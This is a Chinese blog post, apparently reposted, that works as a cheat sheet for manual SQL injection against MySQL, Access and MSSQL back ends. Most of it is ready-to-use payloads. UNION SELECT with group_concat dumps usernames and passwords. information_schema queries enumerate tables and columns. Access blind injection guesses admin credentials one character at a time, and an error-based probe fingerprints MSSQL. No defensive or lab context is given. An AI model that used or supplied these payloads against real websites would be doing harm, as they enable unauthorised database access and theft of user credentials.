SQL手工注入技巧

MYSQL篇
1.内置函数和变量

    @@datadir,version(),database(),user(),load_file(),outfile() 

2.利用concat(),group_concat(),concat_ws()拼接查询结果
实例:

    xxx.php?id=1 and 1=2 union select 1,
    group_concat(username,0x3a,password),3 from user

3.使用内建数据库查询表段和字段
查表段:

    xxx.php?id=1 and 1=2 union select 1,2,table_name from 
    (select * from information_schema.tables where table_schema=数据库名的hex 
    order by table_schema limit 0,1)t limit 1– 

查字段:

    xxx.php?id=1 and 1=2 union select 1,2,column_name from 
    (select * from information_schema.columns where table_name=表名的hex 
    and table_schema=数据库名hex值 order by 1 limit 1,1)t limit 1– 

这里可以再结合下concat的拼接功能

    xxx.php?id=1 and 1=2 union select 1,2,group_concat(column_name,0x20) 
    from (select * from information_schema.columns where table_name=表名的hex 
    and table_schema=数据库名hex值 order by 1 limit 0,n)t limit 1– 
    [n表示第n条数据]  

Access篇

猜表名

    *.asp?id=1 and exists (select * from admin)

猜列名

    *.asp?id=1 and exists (select password from admin)

Order by查询

    *.asp?id=1 order by 3

union 查询

    *.asp?id=1 union select 1,password,3 from admin

不支持union的情况
先判断内容的长度

    *.asp?id=132 and (select top 1 len(user) from admin) >5

然后一个一个猜

    *.asp?id=132 and (select top 1 asc(mid(user,1,1)) from admin)>97

例如确定asc(mid(user,1,1))的值是97,即可判断出user的第一个字符为a
确定了之后继续从第二个位置猜

    *.asp?id=132 and (select top 1 asc(mid(user,2,1)) from admin)>97

以此类推

MSSQL篇
基于报错的MSSQL注入:
判断是否是MSSQL

    'and exists (select * from sysobjects) --

如果返回正常,就说明是MSSQL,否则当sysobjects不存在,是会报错的。

猜表名:

    'and exists(select * from admin)--

如果存在,会返回正常页面,否则报错,就是不存在。

转载于:https://www.cnblogs.com/Chorder/p/9114517.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值